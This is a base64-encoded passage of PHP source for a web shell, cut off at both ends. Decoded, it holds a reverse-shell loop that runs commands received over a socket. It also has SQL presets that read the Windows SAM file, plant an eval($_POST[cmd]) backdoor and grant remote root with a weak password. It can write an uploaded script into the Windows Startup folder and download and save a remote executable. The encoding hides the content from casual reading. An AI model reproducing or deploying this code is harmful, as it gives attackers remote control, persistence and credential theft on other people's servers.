KCRmcCwgIlxuKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqXG4KCQkgICAgICAgICAgICAgIGhhY2tpbmcgdXJsOmh0dHA6Ly93d3cuZ29vZ2xlLmNvbSBpcyBvayEKCQkJICAgICAgICAgIFxuKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqXG5cbiIpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICghZmVvZigkZnApKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZwdXRzKCRmcCwgIiBbcjAwdEB5emRkbXI2Oi9yb290XSMgIik7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBmZ2V0cygkZnAsIDQwOTYpOwogICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9IGAkcmVzdWx0YDsKICAgICAgICAgICAgICAgICAgICAgICAgZnB1dHMoJGZwLCAiLS0+ICIgLiAkbWVzc2FnZSAuICJcbiIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGVjaG8gJzxicj7E47/J0tSzosrUway907bLv9ogKG5jIC12diAtbCAnIC4gJF9QT1NUWyd5b3VycG9ydCddIC4gJykgJzsKICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAic3Fsc2hlbGwiOgogICAgICAgICRNU0dfQk9YID0gJyc7CiAgICAgICAgJG1ob3N0ID0gJ2xvY2FsaG9zdCc7CiAgICAgICAgJG11c2VyID0gJ3Jvb3QnOwogICAgICAgICRtcG9ydCA9ICczMzA2JzsKICAgICAgICAkbXBhc3MgPSAnJzsKICAgICAgICBpZihpc3NldCgkX1NFU1NJT05bJ21wYXNzJ10pKQogICAgICAgICAgICAkbXBhc3MgPSAkX1NFU1NJT05bJ21wYXNzJ107CgogICAgICAgICRtZGF0YSA9ICdteXNxbCc7CiAgICAgICAgJG1zcWwgPSAnc2VsZWN0IHZlcnNpb24oKTsnOwogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXVzZXInXSkpIHsKICAgICAgICAgICAgJG1ob3N0ID0gJF9QT1NUWydtaG9zdCddOwogICAgICAgICAgICAkbXVzZXIgPSAkX1BPU1RbJ211c2VyJ107CiAgICAgICAgICAgICRtcGFzcyA9ICRfUE9TVFsnbXBhc3MnXTsKICAgICAgICAgICAgaWYoIWlzc2V0KCRfU0VTU0lPTlsnbXBhc3MnXSkpCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ21wYXNzJ10gPSAkbXBhc3M7CgogICAgICAgICAgICAkbWRhdGEgPSAkX1BPU1RbJ21kYXRhJ107CiAgICAgICAgICAgICRtcG9ydCA9ICRfUE9TVFsnbXBvcnQnXTsKICAgICAgICAgICAgaWYgKCRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJG1ob3N0IC4gJzonIC4gJG1wb3J0LCAkbXVzZXIsICRtcGFzcykpIEBteXNxbGlfc2VsZWN0X2RiKCRjb25uLCAkbWRhdGEpOwogICAgICAgICAgICBlbHNlICRNU0dfQk9YID0gJ8GsvdNNWVNRTMqnsNwnOwogICAgICAgIH0KICAgICAgICAkZG93bmZpbGUgPSAnYzovd2luZG93cy9yZXBhaXIvc2FtJzsKICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZG93bmZpbGUnXSkpIHsKICAgICAgICAgICAgJGRvd25maWxlID0gRmlsZV9TdHIoJF9QT1NUWydkb3duZmlsZSddKTsKICAgICAgICAgICAgJGJpbnBhdGggPSBiaW4yaGV4KCRkb3duZmlsZSk7CiAgICAgICAgICAgICRxdWVyeSA9ICdzZWxlY3QgbG9hZF9maWxlKDB4JyAuICRiaW5wYXRoIC4gJyknOwogICAgICAgICAgICBpZiAoJHJlc3VsdCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSkgewogICAgICAgICAgICAgICAgJGsgPSAwOwogICAgICAgICAgICAgICAgJGRvd25jb2RlID0gJyc7CiAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAkZG93bmNvZGUgLj0gJHJvd1ska107CiAgICAgICAgICAgICAgICAgICAgJGsrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRmaWxlZG93biA9IGJhc2VuYW1lKCRkb3duZmlsZSk7CiAgICAgICAgICAgICAgICBpZiAoISRmaWxlZG93bikgJGZpbGVkb3duID0gJ2VudmwudG1wJzsKICAgICAgICAgICAgICAgICRhcnJheSA9IGV4cGxvZGUoJy4nLCAkZmlsZWRvd24pOwogICAgICAgICAgICAgICAgJGFycmF5ZW5kID0gYXJyYXlfcG9wKCRhcnJheSk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nIC4gJGFycmF5ZW5kKTsKICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuICRmaWxlZG93bik7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gc3RybGVuKCRkb3duY29kZSkpOwogICAgICAgICAgICAgICAgZWNobyAkZG93bmNvZGU7CiAgICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgICB9IGVsc2UgJE1TR19CT1ggPSAnz8LU2M7EvP7Kp7DcJzsKICAgICAgICB9CiAgICAgICAgJG8gPSBpc3NldCgkX0dFVFsnbyddKSA/ICRfR0VUWydvJ10gOiAnJzsKICAgICAgICBwcmludDw8PEVORAo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gbkZ1bGwoaSl7CglTdHIgPSBuZXcgQXJyYXkoMTEpOwoJU3RyWzBdID0gInNlbGVjdCB2ZXJzaW9uKCk7IjsKCVN0clsxXSA9ICJzZWxlY3QgbG9hZF9maWxlKDB4NjMzQTVDNUM3NzY5NkU2NDZGNzc3MzVDNzM3OTczNzQ2NTZEMzMzMjVDNUM2OTZFNjU3NDczNzI3NjVDNUM2RDY1NzQ2MTYyNjE3MzY1MkU3ODZENkMpIEZST00gdXNlciBpbnRvIGR1bXBmaWxlICdEOi93ZWIvaWlzLnR4dCciOwoJU3RyWzJdID0gInNlbGVjdCAnIGV2YWwoXCRfUE9TVFtjbWRdKTsnIGludG8gZHVtcGZpbGUgJ0Y6L3dlYi9iYWsucGhwJzsiOwoJU3RyWzNdID0gIkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OICouKiBUTyAncm9vdCdAJyUnIElERU5USUZJRUQgQlkgJzEyMzQ1NicgV0lUSCBHUkFOVCBPUFRJT047IjsKCW5mb3JtLm1zcWwudmFsdWUgPSBTdHJbaV07CglyZXR1cm4gdHJ1ZTsKfQpFTkQ7CiAgICAgICAgaHRtbF9iYXNlKCk7CiAgICAgICAgcHJpbnQ8PDxFTkQKZnVuY3Rpb24gU3VibWl0VXJsKCl7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdtc3FsJykudmFsdWUgPSBiYXNlNjRlbmNvZGUoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ21zcWwnKS52YWx1ZSk7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduZm9ybScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im5mb3JtIiBpZD0ibmZvcm0iPgo8Y2VudGVyPjxkaXYgY2xhc3M9ImFjdGFsbCI+PGEgaHJlZj0iP3dlYnNpdGVfPXNxbHNoZWxsIj5bTVlTUUzWtNDQ0+++5F08L2E+CjxhIGhyZWY9Ij93ZWJzaXRlXz1zcWxzaGVsbCZvPXUiPltNWVNRTMnPtKvOxLz+XTwvYT4KPGEgaHJlZj0iP3dlYnNpdGVfPXNxbHNoZWxsJm89ZCI+W01ZU1FMz8LU2M7EvP5dPC9hPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPgq12Na3IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtaG9zdCIgdmFsdWU9InskbWhvc3R9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgq2y7/aIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcG9ydCIgdmFsdWU9InskbXBvcnR9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgrTw7unIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtdXNlciIgdmFsdWU9InskbXVzZXJ9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgrD3MLrIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcGFzcyIgdmFsdWU9InskbXBhc3N9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgq/4sP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZGF0YSIgdmFsdWU9InskbWRhdGF9IiBzdHlsZT0id2lkdGg6MTEwcHgiPgo8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjIyMHB4OyI+CkVORDsKICAgICAgICBpZiAoJG8gPT0gJ3UnKSB7CiAgICAgICAgICAgICR1cHBhdGggPSAnQzovRG9jdW1lbnRzIGFuZCBTZXR0aW5ncy9BbGwgVXNlcnMvobi/qsq8obmyy7WlL7PM0PIvxvS2ry9leHAudmJzJzsKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3VwcGF0aCddKSkgewogICAgICAgICAgICAgICAgJHVwcGF0aCA9ICRfUE9TVFsndXBwYXRoJ107CiAgICAgICAgICAgICAgICAkcXVlcnkgPSAnQ3JlYXRlIFRBQkxFIGEgKGNtZCB0ZXh0IE5PVCBOVUxMKTsnOwogICAgICAgICAgICAgICAgaWYgKEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdG1wY29kZSA9IEZpbGVfUmVhZCgkX0ZJTEVTWyd1cGZpbGUnXVsndG1wX25hbWUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVjb2RlID0gYmluMmhleChGaWxlX1JlYWQoJHRtcGNvZGUpKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gRmlsZV9TdHIoZGlybmFtZShteWFkZHJlc3MpKSAuICcvdXBmaWxlLnRtcCc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChGaWxlX1VwKCRfRklMRVNbJ3VwZmlsZSddWyd0bXBfbmFtZSddLCAkdG1wKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVjb2RlID0gYmluMmhleChGaWxlX1JlYWQoJHRtcCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkdG1wKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnSW5zZXJ0IElOVE8gYSAoY21kKSBWQUxVRVMoQ09OVkVSVCgweCcgLiAkZmlsZWNvZGUgLiAnLENIQVIpKTsnOwogICAgICAgICAgICAgICAgICAgIGlmIChAbXlzcWxpX3F1ZXJ5KCRjb25uLCRxdWVyeSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ1NFTEVDVCBjbWQgRlJPTSBhIElOVE8gRFVNUEZJTEUgXCcnIC4gJHVwcGF0aCAuICdcJzsnOwogICAgICAgICAgICAgICAgICAgICAgICAkTVNHX0JPWCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSA/ICfJz7SrzsS8/rPJuaYnIDogJ8nPtKvOxLz+yqew3Cc7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlICRNU0dfQk9YID0gJ7LlyOvB2cqxse3Kp7DcJzsKICAgICAgICAgICAgICAgICAgICBAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEcm9wIFRBQkxFIElGIEVYSVNUUyBhOycpOwogICAgICAgICAgICAgICAgfSBlbHNlICRNU0dfQk9YID0gJ7S0vajB2cqxse3Kp7DcJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludDw8PEVORAo8YnI+PGJyPsnPtKvCt762IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cHBhdGgiIHZhbHVlPSJ7JHVwcGF0aH0iIHN0eWxlPSJ3aWR0aDo1MDBweCI+Cjxicj48YnI+0aHU8c7EvP4gPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwZmlsZSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDoyMnB4OyI+CjwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IsnPtKsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+CkVORDsKICAgICAgICB9IGVsc2VpZiAoJG8gPT0gJ2QnKSB7CiAgICAgICAgICAgIHByaW50PDw8RU5ECjxicj48YnI+PGJyPs/C1NjOxLz+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkb3duZmlsZSIgdmFsdWU9InskZG93bmZpbGV9IiBzdHlsZT0id2lkdGg6NTAwcHgiPgo8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLPwtTYIiBzdHlsZT0id2lkdGg6ODBweDsiPgpFTkQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ21zcWwnXSkpIHsKICAgICAgICAgICAgICAgICRtc3FsID0gJF9QT1NUWydtc3FsJ107CiAgICAgICAgICAgICAgICAkbXNxbCA9IGJhc2U2NF9kZWNvZGUoJG1zcWwpOwogICAgICAgICAgICAgICAgaWYgKCRyZXN1bHQgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkbXNxbCkpIHsKICAgICAgICAgICAgICAgICAgICAkY291bnQgPSAwOwogICAgICAgICAgICAgICAgICAgICRNU0dfQk9YIC49ICI8dGFibGUgYm9yZGVyPScxJz4iOwogICAgICAgICAgICAgICAgICAgICRrZXkgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGNvdW50ID09IDApewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggLj0gIjx0cj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGogPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkX2tleSA9PiAkX3ZhbHVlKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkgJSAyICE9IDApewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTVNHX0JPWCAuPSAiPHRoPiRfa2V5PC90aD4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAka2V5WyRqXSA9ICRfa2V5OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaisrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggLj0gIjwvdHI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggLj0gIjx0cj4iOwogICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDskaSA8PSBjb3VudCgka2V5KS0xOyRpKyspewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggLj0gIjx0ZD4iLiRyb3dbJGtleVskaV1dLiI8L3RkPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICRNU0dfQk9YIC49ICI8L3RyPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRNU0dfQk9YIC49ICI8L3RhYmxlPiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgJE1TR19CT1ggLj0gbXlzcWxpX2Vycm9yKCRjb25uKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludDw8PEVORAo8dGV4dGFyZWEgbmFtZT0ibXNxbCIgaWQ9Im1zcWwiIHN0eWxlPSJ3aWR0aDo3MDBweDtoZWlnaHQ6MjAwcHg7Ij57JG1zcWx9PC90ZXh0YXJlYT48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj4KPHNlbGVjdCBvbmNoYW5nZT0icmV0dXJuIG5GdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4KCTxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPs/Uyr6w5rG+PC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSIxIj61vLP2zsS8/jwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0iMiI+0LTI687EvP48L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9IjMiPr+qxvTN4sGsPC9vcHRpb24+Cjwvc2VsZWN0Pgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i1rTQ0CIgb25jbGljaz0iU3VibWl0VXJsKCk7IiBzdHlsZT0id2lkdGg6ODBweDsiPgpFTkQ7CiAgICAgICAgfQogICAgICAgIGlmICgkTVNHX0JPWCAhPSAnJykgZWNobyAnPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj4nIC4gJE1TR19CT1ggLiAnPC9kaXY+PC9jZW50ZXI+PC9mb3JtPic7CiAgICAgICAgZWxzZSBlY2hvICc8L2Rpdj48L2NlbnRlcj48L2Zvcm0+JzsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJkb3dubG9hZGVyIjoKICAgICAgICAkQ29tX2R1cmwgPSBpc3NldCgkX1BPU1RbJ2R1cmwnXSkgPyAkX1BPU1RbJ2R1cmwnXSA6ICdodHRwOi8vZXhhbXBsZS5jb20vZmlsZS5leGUnOwogICAgICAgICRDb21fZHBhdGggPSBpc3NldCgkX1BPU1RbJ2RwYXRoJ10pID8gJF9QT1NUWydkcGF0aCddIDogRmlsZV9TdHIoZGlybmFtZShteWFkZHJlc3MpIC4gJy9maWxlLmV4ZScpOwogICAgICAgIHByaW50PDw8RU5ECgk8Zm9ybSBtZXRob2Q9IlBPU1QiPgogICAgPGRpdiBjbGFzcz0iYWN0YWxsIj6zrMGsvdMgPGlucHV0IG5hbWU9ImR1cmwiIHZhbHVlPSJ7JENvbV9kdXJsfSIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjYwMHB4OyI+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJhY3RhbGwiPs/C1Ni1vSA8aW5wdXQgbmFtZT0iZHBhdGgiIHZhbHVlPSJ7JENvbV9kcGF0aH0iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2PgogICAgPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdmFsdWU9Is/C1NgiIHR5cGU9InN1Ym1pdCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+CkVORDsKICAgICAgICBpZiAoKCFlbXB0eSgkX1BPU1RbJ2R1cmwnXSkpICYmICghZW1wdHkoJF9QT1NUWydkcGF0aCddKSkpIHsKICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOwogICAgICAgICAgICAkY29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydkdXJsJ10pOwogICAgICAgICAgICBpZiAoISRjb250ZW50cykgZWNobyAnzt63qLbByKHSqs/C1Ni1xMr9vt0nOwogICAgICAgICAgICBlbHNlIGVjaG8gRmlsZV9Xcml0ZSgkX1BPU1RbJ2RwYXRoJ10sICRjb250ZW50cywgJ3diJykgPyAnz8LU2M7EvP6zybmmJyA6ICfPwtTYzsS8/sqnsNwnOwogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgIH0KICAgICAgICBicmVhazsKCiAgICBjYXNlICJpc3NxbCI6CiAgICAgICAgaWYgKCRfUE9TVFsnc3FsdXNlciddICYmICRfUE9TVFsnc3FscGFzcyddKSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsnc3FsX3VzZXInXSA9ICRfUE9TVFsnc3FsdXNlciddOwogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddID0gJF9QT1NUWydzcWxwYXNzJ107CiAgICAgICAgfQogICAgICAgIGlmICgkX1BPU1RbJ3NxbGhvc3QnXSkgewogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF9ob3N0J10gPSAkX1BPU1RbJ3NxbGhvc3QnXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX1NFU1NJT05bJ3NxbF9ob3N0J10gPSAnbG9jYWxob3N0JzsKICAgICAgICB9CiAgICAgICAgaWYgKCRfUE9TVFsnc3FscG9ydCddKSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsnc3FsX3BvcnQnXSA9ICRfUE9TVFsnc3FscG9ydCddOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsnc3FsX3BvcnQnXSA9ICczMzA2JzsKICAgICAgICB9CiAgICAgICAgaWYgKCRfU0VTU0lPTlsnc3FsX3VzZXInXSAmJiAkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddKSB7CiAgICAgICAgICAgIGlmICghKCRzcWxjb24gPSBAbXlzcWxpX2Nvbm5lY3QoJF9TRVNTSU9OWydzcWxfaG9zdCddIC4gJzonIC4gJF9TRVNTSU9OWydzcWxfcG9ydCddLCAkX1NFU1NJT05bJ3NxbF91c2VyJ10sICRfU0VTU0lPTlsnc3FsX3Bhc3N3b3JkJ10pKSkgewogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydzcWxfdXNlciddLCAkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddLCAkX1NFU1NJT05bJ3NxbF9ob3N0J10sICRfU0VTU0lPTlsnc3FsX3BvcnQnXSk7CiAgICAgICAgICAgICAgICBkaWUoaHRtbF9hKCc/d2Vic2l0ZV89c3Fsc2hlbGwnLCAnway908qnsNzH67e1u9gnKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBkaWUoaHRtbF9hKCc/d2Vic2l0ZV89c3Fsc2hlbGwnLCAnway908qnsNzH67e1u9gnKSk7CiAgICAgICAgfQogICAgICAgICRxdWVyeSA9IG15c3FsaV9xdWVyeSgkc3FsY29uLCAiU0hPVyBEQVRBQkFTRVMiKTsKICAgICAgICBodG1sX24oJzx0cj48dGQ+yv2+3b/iwdCx7TonKTsKICAgICAgICB3aGlsZSAoJGRiID0gbXlzcWxpX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKICAgICAgICAgICAgaHRtbF9hKCc/d2Vic2l0ZV89aXNzcWwmZGI9JyAuICRkYlsnRGF0YWJhc2UnXSwgJGRiWydEYXRhYmFzZSddKTsKICAgICAgICAgICAgZWNobyAnJm5ic3A7Jm5ic3A7JzsKICAgICAgICB9CiAgICAgICAgaHRtbF9uKCc8L3RkPjwvdHI+Jyk7CiAgICAgICAgaWYgKCRfR0VUWydkYiddKSB7CiAgICAgICAgICAgIGNzc19qcygiMyIpOwogICAgICAgICAgICBteXNxbGlfc2VsZWN0X2RiKCRzcWxjb24sICRfR0VUWydkYiddKTsKICAgICAgICAgICAgaHRtbF9uKCc8dHI+PHRkPjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0iRGJGb3JtIj48dGV4dGFyZWEgbmFtZT0ic3FsIiBDT0xTPSI4MCIgUk9XUz0iMyI+JyAuICRfUE9TVFsnc3FsJ10gLiAnPC90ZXh0YXJlYT48YnI+Jyk7CiAgICAgICAgICAgIGh0bWxfc2VsZWN0KGFycmF5KDAgPT4gIi0tU1FM0++3qC0tIiwgNyA9PiAizO2808r9vt0iLCA4ID0+ICLJvrP9yv2+3SIsIDkgPT4gItDeuMTK/b7dIiwgMTAgPT4gIr2oyv2+3bHtIiwgMTEgPT4gIsm+yv2+3bHtIiwgMTIgPT4gIsztvNPX1rbOIiwgMTMgPT4gIsm+s/3X1rbOIiksIDAsICJvbmNoYW5nZT0ncmV0dXJuIEZ1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknIik7CiAgICAgICAgICAgIGh0bWxfaW5wdXQoInN1Ym1pdCIsICJkb3F1ZXJ5IiwgIta00NAiKTsKICAgICAgICAgICAgaHRtbF9hKCI/d2Vic2l0ZV89aXNzcWwmZGI9IiAuICRfR0VUWydkYiddLCAkX0dFVFsnZGInXSk7CiAgICAgICAgICAgIGh0bWxfbignLS0tPicpOwogICAgICAgICAgICBodG1sX2EoIj93ZWJzaXRlXz1pc3NxbCZkYj0iIC4gJF9HRVRbJ2RiJ10gLiAiJnRhYmxlPSIgLiAkX0dFVFsndGFibGUnXSwgJF9HRVRbJ3RhYmxlJ10pOwogICAgICAgICAgICBodG1sX24oJzwvZm9ybT48YnI+Jyk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydzcWwnXSkpIHsKICAgICAgICAgICAgICAgIGlmIChAbXlzcWxpX3F1ZXJ5KCRzcWxjb24sICRfUE9TVFsnc3FsJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAi1rTQ0FNRTNPvvuSzybmmIjsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAis/a07TogIiAuIG15c3FsaV9lcnJvcigkc3FsY29uKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9HRVRbJ3RhYmxlJ10pIHsKICAgICAgICAgICAgICAgIGh0bWxfbignPHRhYmxlIGJvcmRlcj0xPjx0cj4nKTsKICAgICAgICAgICAgICAgICRxdWVyeSA9ICJTSE9XIENPTFVNTlMgRlJPTSAiIC4gJF9HRVRbJ3RhYmxlJ107CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRzcWxjb24sJHF1ZXJ5KTsKICAgICAgICAgICAgICAgICRmaWVsZHMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWVsZHMsICRyb3dbJ0ZpZWxkJ10pOwogICAgICAgICAgICAgICAgICAgIGh0bWxfbignPHRkPjxmb250IGNvbG9yPSNGRkZGNDQ+JyAuICRyb3dbJ0ZpZWxkJ10gLiAnPC9mb250PjwvdGQ+Jyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdHI+PHRyPicpOwogICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsaV9xdWVyeSggJHNxbGNvbiwiU0VMRUNUICogRlJPTSAiIC4gJF9HRVRbJ3RhYmxlJ10pIG9yIGRpZShteXNxbGlfZXJyb3IoJHNxbGNvbikpOwogICAgICAgICAgICAgICAgd2hpbGUgKCR0ZXh0ID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWVsZHMgYXMgJHJvdykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRleHRbJHJvd10gPT0gIiIpICR0ZXh0WyRyb3ddID0gJ05VTEwnOwogICAgICAgICAgICAgICAgICAgICAgICBodG1sX24oJzx0ZD4nIC4gJHRleHRbJHJvd10gLiAnPC90ZD4nKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHF1ZXJ5ID0gIlNIT1cgVEFCTEVTIEZST00gIiAuICRfR0VUWydkYiddOwogICAgICAgICAgICAgICAgJGRhdCA9IG15c3FsaV9xdWVyeSgkc3FsY29uLCAkcXVlcnkpIG9yIGRpZShteXNxbGlfZXJyb3IoJHNxbGNvbikpOwogICAgICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbGlfZmV0Y2hfcm93KCRkYXQpKSB7CiAgICAgICAgICAgICAgICAgICAgaHRtbF9uKCI8dHI+PHRkPjxhIGhyZWY9Jz93ZWJzaXRlXz1pc3NxbCZkYj0iIC4gJF9HRVRbJ